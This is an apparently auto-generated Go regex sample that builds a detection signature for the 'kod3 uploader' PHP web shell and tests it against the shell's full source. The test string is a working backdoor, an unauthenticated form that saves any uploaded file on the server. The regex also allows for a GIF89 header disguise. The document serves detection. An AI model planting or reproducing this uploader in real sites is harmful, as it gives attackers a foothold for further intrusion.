package main
import (
"regexp"
"fmt"
)
func main() {
var re = regexp.MustCompile(`(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*echo\s*['"]<title>kod3 uploader<\/title>.{0,70}?multipart\/form-data["']\s*name=["']uploader.{0,240}?\@move_uploaded_file\(\$_files\[["']file['"]\].{0,50}?echo\s*['"]upload\s*successfully.{0,60}?[[:punct:]\s]+$`)
var str = `<?php
echo "<title>kod3 Uploader</title>";
echo "<form method='post' enctype='multipart/form-data' name='uploader'>";
echo '<input type="file" name="file" ><input name="upl" type="submit" id="upl" value="Upload"></form>';
if(isset($_POST['upl'])&&$_POST['upl']== "Upload"){
if(@move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])){
echo 'Upload Successfully ;)<br><br>';
}else{
echo 'Upload failed :(<br><br>';
}
}
?>`
for i, match := range re.FindAllString(str, -1) {
fmt.Println(match, "found at index", i)
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Golang, please visit: https://golang.org/pkg/regexp/